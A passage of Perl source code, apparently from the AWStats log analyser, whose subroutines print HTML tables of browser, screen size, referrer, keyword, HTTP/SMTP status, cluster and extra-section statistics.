width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n"; my $total_h = 0; my $total_p = 0; my $count = 0; foreach my $key (@keylist) { my $p_h = ' '; my $p_p = ' '; if ($Totalh) { $p_h = int( $new_browser_h{$key} / $Totalh * 1000 ) / 10; $p_h = "$p_h %"; } if ($Totalp) { $p_p = int( $new_browser_p{$key} / $Totalp * 1000 ) / 10; $p_p = "$p_p %"; } if ( $key eq 'Unknown' ) { print "<tr><td" . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) . "><img src=\"$DirIcons\/browser\/unknown.png\"" . AltTitle("") . " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td><td width=\"80\">?</td>" . "<td>".Format_Number($_browser_p{$key})."</td><td>$p_p</td>" . "<td>".Format_Number($_browser_h{$key})."</td><td>$p_h</td></tr>\n"; } else { my $keywithoutcumul = $key; $keywithoutcumul =~ s/cumul$//i; my $libbrowser = $BrowsersHashIDLib{$keywithoutcumul} || $keywithoutcumul; my $nameicon = $BrowsersHashIcon{$keywithoutcumul} || "notavailable"; if ( $BrowsersFamily{$keywithoutcumul} ) { $libbrowser = "<b>$libbrowser</b>"; } print "<tr><td" . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) . "><img src=\"$DirIcons\/browser\/$nameicon.png\"" . AltTitle("") . " /></td><td class=\"aws\">" . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" ) . "$libbrowser" . ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td><td>" . ( $BrowsersHereAreGrabbers{$key} ? "<b>$Message[112]</b>" : "$Message[113]" ) . "</td><td>".Format_Number($new_browser_p{$key})."</td><td>$p_p</td><td>".Format_Number($new_browser_h{$key})."</td><td>$p_h</td></tr>\n"; } $total_h += $new_browser_h{$key}; $total_p += $new_browser_p{$key}; $count++; } if ($Debug) { debug( "Total real / shown : $Totalh / $total_h", 2 ); } my $rest_h = $Totalh - $total_h; my $rest_p = $Totalp - $total_p; if ( $rest_h > 0 ) { my $p_p = 0.0; my $p_h; if ($Totalh) { $p_h = int( $rest_h / $Totalh * 1000 ) / 10; } if ($Totalp) { $p_p = int( $rest_p / $Totalp * 1000 ) / 10; } print "<tr>"; print "<td> </td>"; print "<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td><td> </td><td>$rest_p</td>"; print "<td>$p_p %</td><td>$rest_h</td><td>$p_h %</td></tr>\n"; } &tab_end(); } #------------------------------------------------------------------------------ # Function: Prints the ScreenSize chart and table # Parameters: - # Input: - # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLMainScreenSize{ if ($Debug) { debug( "ShowScreenSizeStats", 2 ); } print "$Center<a name=\"screensizes\"> </a><br />\n"; my $Totalh = 0; foreach ( keys %_screensize_h ) { $Totalh += $_screensize_h{$_}; } my $title = "$Message[135] ($Message[77] $MaxNbOf{'ScreenSizesShown'})"; &tab_head( "$title", 0, 0, 'screensizes' ); print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[135]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n"; my $total_h = 0; my $count = 0; &BuildKeyList( $MaxNbOf{'ScreenSizesShown'}, $MinHit{'ScreenSize'}, \%_screensize_h, \%_screensize_h ); foreach my $key (@keylist) { my $p = ' '; if ($Totalh) { $p = int( $_screensize_h{$key} / $Totalh * 1000 ) / 10; $p = "$p %"; } $total_h += $_screensize_h{$key} || 0; print "<tr>"; if ( $key eq 'Unknown' ) { print "<td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>"; print "<td>$p</td>"; } else { my $screensize = $key; print "<td class=\"aws\">$screensize</td>"; print "<td>$p</td>"; } print "</tr>\n"; $count++; } my $rest_h = $Totalh - $total_h; if ( $rest_h > 0 ) { # All others sessions my $p = 0; if ($Totalh) { $p = int( $rest_h / $Totalh * 1000 ) / 10; } print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; print "<td>" . ( $rest_h ? "$p %" : " " ) . "</td>"; print "</tr>\n"; } &tab_end(); } #------------------------------------------------------------------------------ # Function: Prints the Referrers chart and table # Parameters: $NewLinkParams, $NewLinkTarget # Input: - # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLMainReferrers{ my $NewLinkParams = shift; my $NewLinkTarget = shift; if ($Debug) { debug( "ShowOriginStats", 2 ); } print "$Center<a name=\"referer\"> </a><br />\n"; my $Totalp = 0; foreach ( 0 .. 5 ) { $Totalp += ( $_ != 4 || $IncludeInternalLinksInOriginSection ) ? $_from_p[$_] : 0; } my $Totalh = 0; foreach ( 0 .. 5 ) { $Totalh += ( $_ != 4 || $IncludeInternalLinksInOriginSection ) ? $_from_h[$_] : 0; } my $title = "$Message[36]"; if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { # extend the title to include the added link $title .= "   -   <a href=\"" . (XMLEncode( "$AddLinkToExternalCGIWrapper" . "?section=ORIGIN&baseName=$DirData/$PROG" . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" . "&siteConfig=$SiteConfig" ) . "\"$NewLinkTarget>$Message[179]</a>"); } &tab_head( $title, 19, 0, 'referer' ); my @p_p = ( 0, 0, 0, 0, 0, 0 ); if ( $Totalp > 0 ) { $p_p[0] = int( $_from_p[0] / $Totalp * 1000 ) / 10; $p_p[1] = int( $_from_p[1] / $Totalp * 1000 ) / 10; $p_p[2] = int( $_from_p[2] / $Totalp * 1000 ) / 10; $p_p[3] = int( $_from_p[3] / $Totalp * 1000 ) / 10; $p_p[4] = int( $_from_p[4] / $Totalp * 1000 ) / 10; $p_p[5] = int( $_from_p[5] / $Totalp * 1000 ) / 10; } my @p_h = ( 0, 0, 0, 0, 0, 0 ); if ( $Totalh > 0 ) { $p_h[0] = int( $_from_h[0] / $Totalh * 1000 ) / 10; $p_h[1] = int( $_from_h[1] / $Totalh * 1000 ) / 10; $p_h[2] = int( $_from_h[2] / $Totalh * 1000 ) / 10; $p_h[3] = int( $_from_h[3] / $Totalh * 1000 ) / 10; $p_h[4] = int( $_from_h[4] / $Totalh * 1000 ) / 10; $p_h[5] = int( $_from_h[5] / $Totalh * 1000 ) / 10; } print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[37]</th>"; if ( $ShowOriginStats =~ /P/i ) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; } if ( $ShowOriginStats =~ /H/i ) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; } print "</tr>\n"; #------- Referrals by direct address/bookmark/link in email/etc... print "<tr><td class=\"aws\"><b>$Message[38]</b></td>"; if ( $ShowOriginStats =~ /P/i ) { print "<td>" . ( $_from_p[0] ? Format_Number($_from_p[0]) : " " ) . "</td><td>" . ( $_from_p[0] ? "$p_p[0] %" : " " ) . "</td>"; } if ( $ShowOriginStats =~ /H/i ) { print "<td>" . ( $_from_h[0] ? Format_Number($_from_h[0]) : " " ) . "</td><td>" . ( $_from_h[0] ? "$p_h[0] %" : " " ) . "</td>"; } print "</tr>\n"; #------- Referrals by search engines print "<tr" . Tooltip(13) . "><td class=\"aws\"><b>$Message[40]</b> - <a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode("$AWScript${NewLinkParams}output=refererse") : "$StaticLinks.refererse.$StaticExt" ) . "\"$NewLinkTarget>$Message[80]</a><br />\n"; if ( scalar keys %_se_referrals_h ) { print "<table>\n"; my $total_p = 0; my $total_h = 0; my $count = 0; &BuildKeyList( $MaxNbOf{'RefererShown'}, $MinHit{'Refer'}, \%_se_referrals_h, ( ( scalar keys %_se_referrals_p ) ? \%_se_referrals_p : \%_se_referrals_h ) ); foreach my $key (@keylist) { my $newreferer = $SearchEnginesHashLib{$key} || CleanXSS($key); print "<tr><td class=\"aws\">- $newreferer</td>"; print "<td>" . ( Format_Number($_se_referrals_p{$key} ? $_se_referrals_p{$key} : '0' )) . "</td>"; print "<td> / ".Format_Number($_se_referrals_h{$key})."</td>"; print "</tr>\n"; $total_p += $_se_referrals_p{$key}; $total_h += $_se_referrals_h{$key}; $count++; } if ($Debug) { debug( "Total real / shown : $TotalSearchEnginesPages / $total_p - $TotalSearchEnginesHits / $total_h", 2 ); } my $rest_p = $TotalSearchEnginesPages - $total_p; my $rest_h = $TotalSearchEnginesHits - $total_h; if ( $rest_p > 0 || $rest_h > 0 ) { print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">- $Message[2]</span></td>"; print "<td>".Format_Number($rest_p)."</td>"; print "<td> / ".Format_Number($rest_h)."</td>"; print "</tr>\n"; } print "</table>"; } print "</td>\n"; if ( $ShowOriginStats =~ /P/i ) { print "<td valign=\"top\">" . ( $_from_p[2] ? Format_Number($_from_p[2]) : " " ) . "</td><td valign=\"top\">" . ( $_from_p[2] ? "$p_p[2] %" : " " ) . "</td>"; } if ( $ShowOriginStats =~ /H/i ) { print "<td valign=\"top\">" . ( $_from_h[2] ? Format_Number($_from_h[2]) : " " ) . "</td><td valign=\"top\">" . ( $_from_h[2] ? "$p_h[2] %" : " " ) . "</td>"; } print "</tr>\n"; #------- Referrals by external HTML link print "<tr" . Tooltip(14) . "><td class=\"aws\"><b>$Message[41]</b> - <a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode("$AWScript${NewLinkParams}output=refererpages") : "$StaticLinks.refererpages.$StaticExt" ) . "\"$NewLinkTarget>$Message[80]</a><br />\n"; if ( scalar keys %_pagesrefs_h ) { print "<table>\n"; my $total_p = 0; my $total_h = 0; my $count = 0; &BuildKeyList( $MaxNbOf{'RefererShown'}, $MinHit{'Refer'}, \%_pagesrefs_h, ( ( scalar keys %_pagesrefs_p ) ? \%_pagesrefs_p : \%_pagesrefs_h ) ); foreach my $key (@keylist) { print "<tr><td class=\"aws\">- "; &HTMLShowURLInfo($key); print "</td>"; print "<td>" . Format_Number(( $_pagesrefs_p{$key} ? $_pagesrefs_p{$key} : '0' )) . "</td>"; print "<td>".Format_Number($_pagesrefs_h{$key})."</td>"; print "</tr>\n"; $total_p += $_pagesrefs_p{$key}; $total_h += $_pagesrefs_h{$key}; $count++; } if ($Debug) { debug( "Total real / shown : $TotalRefererPages / $total_p - $TotalRefererHits / $total_h", 2 ); } my $rest_p = $TotalRefererPages - $total_p; my $rest_h = $TotalRefererHits - $total_h; if ( $rest_p > 0 || $rest_h > 0 ) { print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">- $Message[2]</span></td>"; print "<td>".Format_Number($rest_p)."</td>"; print "<td>".Format_Number($rest_h)."</td>"; print "</tr>\n"; } print "</table>"; } print "</td>\n"; if ( $ShowOriginStats =~ /P/i ) { print "<td valign=\"top\">" . ( $_from_p[3] ? Format_Number($_from_p[3]) : " " ) . "</td><td valign=\"top\">" . ( $_from_p[3] ? "$p_p[3] %" : " " ) . "</td>"; } if ( $ShowOriginStats =~ /H/i ) { print "<td valign=\"top\">" . ( $_from_h[3] ? Format_Number($_from_h[3]) : " " ) . "</td><td valign=\"top\">" . ( $_from_h[3] ? "$p_h[3] %" : " " ) . "</td>"; } print "</tr>\n"; #------- Referrals by internal HTML link if ($IncludeInternalLinksInOriginSection) { print "<tr><td class=\"aws\"><b>$Message[42]</b></td>"; if ( $ShowOriginStats =~ /P/i ) { print "<td>" . ( $_from_p[4] ? Format_Number($_from_p[4]) : " " ) . "</td><td>" . ( $_from_p[4] ? "$p_p[4] %" : " " ) . "</td>"; } if ( $ShowOriginStats =~ /H/i ) { print "<td>" . ( $_from_h[4] ? Format_Number($_from_h[4]) : " " ) . "</td><td>" . ( $_from_h[4] ? "$p_h[4] %" : " " ) . "</td>"; } print "</tr>\n"; } #------- Referrals by news group #print "<tr><td class=\"aws\"><b>$Message[107]</b></td>"; #if ($ShowOriginStats =~ /P/i) { print "<td>".($_from_p[5]?$_from_p[5]:" ")."</td><td>".($_from_p[5]?"$p_p[5] %":" ")."</td>"; } #if ($ShowOriginStats =~ /H/i) { print "<td>".($_from_h[5]?$_from_h[5]:" ")."</td><td>".($_from_h[5]?"$p_h[5] %":" ")."</td>"; } #print "</tr>\n"; #------- Unknown origin print "<tr><td class=\"aws\"><b>$Message[39]</b></td>"; if ( $ShowOriginStats =~ /P/i ) { print "<td>" . ( $_from_p[1] ? Format_Number($_from_p[1]) : " " ) . "</td><td>" . ( $_from_p[1] ? "$p_p[1] %" : " " ) . "</td>"; } if ( $ShowOriginStats =~ /H/i ) { print "<td>" . ( $_from_h[1] ? Format_Number($_from_h[1]) : " " ) . "</td><td>" . ( $_from_h[1] ? "$p_h[1] %" : " " ) . "</td>"; } print "</tr>\n"; &tab_end(); # 0: Direct # 1: Unknown # 2: SE # 3: External link # 4: Internal link # 5: Newsgroup (deprecated) } #------------------------------------------------------------------------------ # Function: Prints the Key Phrases and Keywords chart and table # Parameters: $NewLinkParams, $NewLinkTarget # Input: - # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLMainKeys{ my $NewLinkParams = shift; my $NewLinkTarget = shift; if ($ShowKeyphrasesStats) { print "$Center<a name=\"keyphrases\"> </a>"; } if ($ShowKeywordsStats) { print "$Center<a name=\"keywords\"> </a>"; } if ( $ShowKeyphrasesStats || $ShowKeywordsStats ) { print "<br />\n"; } if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) { print "<table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\"><tr>"; } if ($ShowKeyphrasesStats) { # By Keyphrases if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) { print "<td width=\"50%\" valign=\"top\">\n"; } if ($Debug) { debug( "ShowKeyphrasesStats", 2 ); } &tab_head( "$Message[120] ($Message[77] $MaxNbOf{'KeyphrasesShown'})<br /><a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode("$AWScript${NewLinkParams}output=keyphrases") : "$StaticLinks.keyphrases.$StaticExt" ) . "\"$NewLinkTarget>$Message[80]</a>", 19, ( $ShowKeyphrasesStats && $ShowKeywordsStats ) ? 95 : 70, 'keyphrases' ); print "<tr bgcolor=\"#$color_TableBGRowTitle\"" . Tooltip(15) . "><th>$TotalDifferentKeyphrases $Message[103]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n"; my $total_s = 0; my $count = 0; &BuildKeyList( $MaxNbOf{'KeyphrasesShown'}, $MinHit{'Keyphrase'}, \%_keyphrases, \%_keyphrases ); foreach my $key (@keylist) { my $mot; # Convert coded keywords (utf8,...) to be correctly reported in HTML page. if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) { $mot = CleanXSS( DecodeKey_decodeutfkeys( $key, $PageCode || 'iso-8859-1' ) ); } else { $mot = CleanXSS( DecodeEncodedString($key) ); } my $p; if ($TotalKeyphrases) { $p = int( $_keyphrases{$key} / $TotalKeyphrases * 1000 ) / 10; } print "<tr><td class=\"aws\">" . XMLEncode($mot) . "</td><td>$_keyphrases{$key}</td><td>$p %</td></tr>\n"; $total_s += $_keyphrases{$key}; $count++; } if ($Debug) { debug( "Total real / shown : $TotalKeyphrases / $total_s", 2 ); } my $rest_s = $TotalKeyphrases - $total_s; if ( $rest_s > 0 ) { my $p; if ($TotalKeyphrases) { $p = int( $rest_s / $TotalKeyphrases * 1000 ) / 10; } print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[124]</span></td><td>$rest_s</td>"; print "<td>$p %</td></tr>\n"; } &tab_end(); if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) { print "</td>\n"; } } if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) { print "<td>   </td>"; } if ($ShowKeywordsStats) { # By Keywords if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) { print "<td width=\"50%\" valign=\"top\">\n"; } if ($Debug) { debug( "ShowKeywordsStats", 2 ); } &tab_head( "$Message[121] ($Message[77] $MaxNbOf{'KeywordsShown'})<br /><a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode("$AWScript${NewLinkParams}output=keywords") : "$StaticLinks.keywords.$StaticExt" ) . "\"$NewLinkTarget>$Message[80]</a>", 19, ( $ShowKeyphrasesStats && $ShowKeywordsStats ) ? 95 : 70, 'keywords' ); print "<tr bgcolor=\"#$color_TableBGRowTitle\"" . Tooltip(15) . "><th>$TotalDifferentKeywords $Message[13]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n"; my $total_s = 0; my $count = 0; &BuildKeyList( $MaxNbOf{'KeywordsShown'}, $MinHit{'Keyword'}, \%_keywords, \%_keywords ); foreach my $key (@keylist) { my $mot; # Convert coded keywords (utf8,...) to be correctly reported in HTML page. if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) { $mot = CleanXSS( DecodeKey_decodeutfkeys( $key, $PageCode || 'iso-8859-1' ) ); } else { $mot = CleanXSS( DecodeEncodedString($key) ); } my $p; if ($TotalKeywords) { $p = int( $_keywords{$key} / $TotalKeywords * 1000 ) / 10; } print "<tr><td class=\"aws\">" . XMLEncode($mot) . "</td><td>$_keywords{$key}</td><td>$p %</td></tr>\n"; $total_s += $_keywords{$key}; $count++; } if ($Debug) { debug( "Total real / shown : $TotalKeywords / $total_s", 2 ); } my $rest_s = $TotalKeywords - $total_s; if ( $rest_s > 0 ) { my $p; if ($TotalKeywords) { $p = int( $rest_s / $TotalKeywords * 1000 ) / 10; } print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td><td>$rest_s</td>"; print "<td>$p %</td></tr>\n"; } &tab_end(); if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) { print "</td>\n"; } } if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) { print "</tr></table>\n"; } } #------------------------------------------------------------------------------ # Function: Prints the miscellaneous table # Parameters: - # Input: - # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLMainMisc{ if ($Debug) { debug( "ShowMiscStats", 2 ); } print "$Center<a name=\"misc\"> </a><br />\n"; my $title = "$Message[139]"; &tab_head( "$title", 19, 0, 'misc' ); print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[139]</th>"; print "<th width=\"100\"> </th>"; print "<th width=\"100\"> </th>"; print "</tr>\n"; my %label = ( 'AddToFavourites' => $Message[137], 'JavascriptDisabled' => $Message[168], 'JavaEnabled' => $Message[140], 'DirectorSupport' => $Message[141], 'FlashSupport' => $Message[142], 'RealPlayerSupport' => $Message[143], 'QuickTimeSupport' => $Message[144], 'WindowsMediaPlayerSupport' => $Message[145], 'PDFSupport' => $Message[146] ); foreach my $key (@MiscListOrder) { my $mischar = substr( $key, 0, 1 ); if ( $ShowMiscStats !~ /$mischar/i ) { next; } my $total = 0; my $p; if ( $MiscListCalc{$key} eq 'v' ) { $total = $TotalVisits; } if ( $MiscListCalc{$key} eq 'u' ) { $total = $TotalUnique; } if ( $MiscListCalc{$key} eq 'hm' ) { $total = $_misc_h{'TotalMisc'} || 0; } if ($total) { $p = int( ( $_misc_h{$key} ? $_misc_h{$key} : 0 ) / $total * 1000 ) / 10; } print "<tr>"; print "<td class=\"aws\">" . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" ) . $label{$key} . ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>"; if ( $MiscListCalc{$key} eq 'v' ) { print "<td>" . Format_Number(( $_misc_h{$key} || 0 )) . " / ".Format_Number($total)." $Message[12]</td>"; } if ( $MiscListCalc{$key} eq 'u' ) { print "<td>" . Format_Number(( $_misc_h{$key} || 0 )) . " / ".Format_Number($total)." $Message[18]</td>"; } if ( $MiscListCalc{$key} eq 'hm' ) { print "<td>-</td>"; } print "<td>" . ( $total ? "$p %" : " " ) . "</td>"; print "</tr>\n"; } &tab_end(); } #------------------------------------------------------------------------------ # Function: Prints the Status codes chart and table # Parameters: $NewLinkParams, $NewLinkTarget # Input: - # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLMainHTTPStatus{ my $NewLinkParams = shift; my $NewLinkTarget = shift; if ($Debug) { debug( "ShowHTTPErrorsStats", 2 ); } print "$Center<a name=\"errors\"> </a><br />\n"; my $title = "$Message[32]"; if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { # extend the title to include the added link $title .= "   -   <a href=\"" . (XMLEncode( "$AddLinkToExternalCGIWrapper" . "?section=ERRORS&baseName=$DirData/$PROG" . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" . "&siteConfig=$SiteConfig" ) . "\"$NewLinkTarget>$Message[179]</a>"); } &tab_head( "$title", 19, 0, 'errors' ); &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_errors_h, \%_errors_h ); # Graph the top five in a pie chart if (scalar @keylist > 1){ foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) { my @blocklabel = (); my @valdata = (); my @valcolor = ($color_p); my $cnt = 0; foreach my $key (@keylist) { push @valdata, int( $_errors_h{$key} / $TotalHitsErrors * 1000 ) / 10; push @blocklabel, "$key"; $cnt++; if ($cnt > 4) { last; } } print "<tr><td colspan=\"5\">"; my $function = "ShowGraph_$pluginname"; &$function( "$title", "httpstatus", 0, \@blocklabel, 0, \@valcolor, 0, 0, 0, \@valdata ); print "</td></tr>"; } } print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[32]*</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th></tr>\n"; my $total_h = 0; my $count = 0; foreach my $key (@keylist) { my $p = int( $_errors_h{$key} / $TotalHitsErrors * 1000 ) / 10; print "<tr" . Tooltip( $key, $key ) . ">"; if ( $TrapInfosForHTTPErrorCodes{$key} ) { print "<td><a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode( "$AWScript${NewLinkParams}output=errors$key") : "$StaticLinks.errors$key.$StaticExt" ) . "\"$NewLinkTarget>$key</a></td>"; } else { print "<td valign=\"top\">$key</td>"; } print "<td class=\"aws\">" . ( $httpcodelib{$key} ? $httpcodelib{$key} : 'Unknown error' ) . "</td><td>".Format_Number($_errors_h{$key})."</td><td>$p %</td><td>" . Format_Bytes( $_errors_k{$key} ) . "</td>"; print "</tr>\n"; $total_h += $_errors_h{$key}; $count++; } &tab_end("* $Message[154]"); } #------------------------------------------------------------------------------ # Function: Prints the Status codes chart and table # Parameters: $NewLinkParams, $NewLinkTarget # Input: - # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLMainSMTPStatus{ my $NewLinkParams = shift; my $NewLinkTarget = shift; if ($Debug) { debug( "ShowSMTPErrorsStats", 2 ); } print "$Center<a name=\"errors\"> </a><br />\n"; my $title = "$Message[147]"; &tab_head( "$title", 19, 0, 'errors' ); print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[147]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th></tr>\n"; my $total_h = 0; my $count = 0; &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_errors_h, \%_errors_h ); foreach my $key (@keylist) { my $p = int( $_errors_h{$key} / $TotalHitsErrors * 1000 ) / 10; print "<tr" . Tooltip( $key, $key ) . ">"; print "<td valign=\"top\">$key</td>"; print "<td class=\"aws\">" . ( $smtpcodelib{$key} ? $smtpcodelib{$key} : 'Unknown error' ) . "</td><td>".Format_Number($_errors_h{$key})."</td><td>$p %</td><td>" . Format_Bytes( $_errors_k{$key} ) . "</td>"; print "</tr>\n"; $total_h += $_errors_h{$key}; $count++; } &tab_end(); } #------------------------------------------------------------------------------ # Function: Prints the cluster information chart and table # Parameters: $NewLinkParams, $NewLinkTarget # Input: - # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLMainCluster{ my $NewLinkParams = shift; my $NewLinkTarget = shift; if ($Debug) { debug( "ShowClusterStats", 2 ); } print "$Center<a name=\"clusters\"> </a><br />\n"; my $title = "$Message[155]"; if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { # extend the title to include the added link $title .= "   -   <a href=\"" . (XMLEncode( "$AddLinkToExternalCGIWrapper" . "?section=CLUSTER&baseName=$DirData/$PROG" . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" . "&siteConfig=$SiteConfig" ) . "\"$NewLinkTarget>$Message[179]</a>"); } &tab_head( "$title", 19, 0, 'clusters' ); &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_cluster_p, \%_cluster_p ); # Graph the top five in a pie chart if (scalar @keylist > 1){ foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) { my @blocklabel = (); my @valdata = (); my @valcolor = ($color_p); my $cnt = 0; foreach my $key (@keylist) { push @valdata, int( $_cluster_p{$key} / $TotalHits * 1000 ) / 10; push @blocklabel, "$key"; $cnt++; if ($cnt > 4) { last; } } print "<tr><td colspan=\"7\">"; my $function = "ShowGraph_$pluginname"; &$function( "$title", "cluster", 0, \@blocklabel, 0, \@valcolor, 0, 0, 0, \@valdata ); print "</td></tr>"; } } print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[155]</th>"; &HTMLShowClusterInfo('__title__'); if ( $ShowClusterStats =~ /P/i ) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; } if ( $ShowClusterStats =~ /H/i ) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; } if ( $ShowClusterStats =~ /B/i ) { print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[15]</th>"; } print "</tr>\n"; my $total_p = my $total_h = my $total_k = 0; # Cluster feature might have been enable in middle of month so we recalculate # total for cluster section only, to calculate ratio, instead of using global total foreach my $key (@keylist) { $total_p += int( $_cluster_p{$key} || 0 ); $total_h += int( $_cluster_h{$key} || 0 ); $total_k += int( $_cluster_k{$key} || 0 ); } my $count = 0; foreach my $key (@keylist) { my $p_p = int( $_cluster_p{$key} / $total_p * 1000 ) / 10; my $p_h = int( $_cluster_h{$key} / $total_h * 1000 ) / 10; my $p_k = int( $_cluster_k{$key} / $total_k * 1000 ) / 10; print "<tr>"; print "<td class=\"aws\">Computer $key</td>"; &HTMLShowClusterInfo($key); if ( $ShowClusterStats =~ /P/i ) { print "<td>" . ( $_cluster_p{$key} ? Format_Number($_cluster_p{$key}) : " " ) . "</td><td>$p_p %</td>"; } if ( $ShowClusterStats =~ /H/i ) { print "<td>".Format_Number($_cluster_h{$key})."</td><td>$p_h %</td>"; } if ( $ShowClusterStats =~ /B/i ) { print "<td>" . Format_Bytes( $_cluster_k{$key} ) . "</td><td>$p_k %</td>"; } print "</tr>\n"; $count++; } &tab_end(); } #------------------------------------------------------------------------------ # Function: Prints a chart or table for each extra section # Parameters: $NewLinkParams, $NewLinkTarget, $extranum # Input: - # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLMainExtra{ my $NewLinkParams = shift; my $NewLinkTarget = shift; my $extranum = shift; if ($Debug) { debug( "ExtraName$extranum", 2 ); } print "$Center<a name=\"extra$extranum\"> </a><br />"; my $title = $ExtraName[$extranum]; &tab_head( "$title ($Message[77] $MaxNbOfExtra[$extranum])", 19, 0, "extra$extranum"); print "<tr bgcolor=\"#$color_TableBGRowTitle\">"; print "<th>" . $ExtraFirstColumnTitle[$extranum]; print "  -   <a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode( "$AWScript${NewLinkParams}output=allextra$extranum") : "$StaticLinks.allextra$extranum.$StaticExt" ) . "\"$NewLinkTarget>$Message[80]</a>"; if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { print "  -   <a href=\"" . (XMLEncode( "$AddLinkToExternalCGIWrapper" . "?section=EXTRA_$extranum&baseName=$DirData/$PROG" . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" . "&sectionTitle=$ExtraName[$extranum]&siteConfig=$SiteConfig" ) . "\"$NewLinkTarget>$Message[179]</a>"); } print "</th>"; if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; } if ( $ExtraStatTypes[$extranum] =~ m/H/i ) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; } if ( $ExtraStatTypes[$extranum] =~ m/B/i ) { print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; } if ( $ExtraStatTypes[$extranum] =~ m/L/i ) { print "<th width=\"120\">$Message[9]</th>"; } print "</tr>\n"; my $total_p = my $total_h = my $total_k = 0; #$max_h=1; foreach (values %_login_h) { if ($_ > $max_h) { $max_h = $_; } } #$max_k=1; foreach (values %_login_k) { if ($_ > $max_k) { $max_k = $_; 